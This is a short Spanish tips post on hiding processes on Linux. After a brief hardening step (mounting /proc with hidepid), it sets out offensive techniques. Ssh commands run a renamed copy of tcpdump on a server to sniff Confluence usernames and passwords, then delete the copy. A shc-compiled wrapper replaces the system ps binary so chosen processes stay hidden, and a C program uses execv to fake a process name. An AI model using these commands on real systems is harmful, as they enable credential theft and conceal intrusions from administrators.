Trucos de andar por casa para ocultar procesos en GNU/Linux

Restringir la visualización de procesos por parte de los usuarios.

Remontar el directorio /proc usando la flag “hidepid”. Se recomienda para entornos multiusuario.

# Valor por defecto (inactivo).
mount -o remount,nosuid,noexec,hidepid=0 /proc
 
# El usuario solo ve sus procesos pero podrá ver los PID dentro de /proc.
mount -o remount,nosuid,noexec,hidepid=1 /proc 
 
# El usuario solo ve sus procesos, tampoco podrá ver los PID dentro del directorio /proc.
mount -o remount,nosuid,noexec,hidepid=2 /proc
 
# Se puede aplicar la ocultación de procesos a usuarios concretos indicando el UID/GID.
uid=1234,gid=1234

Ejecutar comandos en remoto ocultando mínimamente el proceso en el servidor.

El ejemplo comentado se basa en renombrar el binario a utilizar por uno que pase desapercibido. En este caso es tcpdump para capturar el tráfico de red. Al ejecutarse manda la salida al cliente, que filtra posibles credenciales con grep. Una vez en ejecución ya está el proceso en memoria y el fichero bindwrap (copia de tcpump) puede ser borrado.

ssh X.X.X.X "cp /usr/sbin/tcpdump /usr/bin/bindwrap"
ssh X.X.X.X "bindwrap port 8080 -i lo -l -A" | egrep -i 'os_password=|os_username=' --line-buffered -B20 > Confluence_passwords
ssh X.X.X.X "rm -f /usr/bin/bindwrap"

Lógicamente se debe indicar un nombre de fichero similar al del proceso que está en ese puerto para que pase desapercibido. El proceso que se vería de manera predeterminada en top es en este ejemplo “bindwrap”, pero no muestra los parámetros si no se indica (tecla “c”). El comando “ps aux” sí mostraría los parámetros que usa el comando, por eso es importante elegir un nombre que pase lo más desapercibido posible.

Otra posibilidad sería modificar el binario “ps” para ocultar determinados nombres de procesos.

Simple hack para tener un comando ps que pueda ocultar determinados procesos.

Crear un script bash según se necesite.

#!/bin/bash
exec ps_old  "$@" | grep -v "tcpdump\|bindwraper"

Embeberlo en un ejecutable binario.

shc -v -r -T -f ps

Renombrar el binario /usr/bin/ps original a /usr/bin/ps_old y colocar el binario generado con shc en /usr/bin.

Usar execv y newargv para crear un ejecutable que ejecute un binario del sistema pero con el nombre que queramos.

ejemplo.c
#include <unistd.h>
 
int main(int argc, char **argv) {
    char *newargv[3] = { "Faker", "-u", "root" };
 
    execv("/usr/bin/top", newargv);
}

Compilar y ejecutar.

gcc -o ejemplo ejemplo.c
chmod u+x ejemplo
./ejemplo
ps aux | grep -i "faker\|top"
XX     14773  0.2  0.0  45544  3804 pts/4    S+   21:09   0:00 Faker -u root
 
# Las últimas versiones de ps también mostrarían el comando top.
# XX      8217  0.2  0.0  45692  4120 pts/3    S+   20:23   0:07 top

NOTA: El comando top sí mostraría el comando (top) ejecutado por el binario.

Enlaces de interés.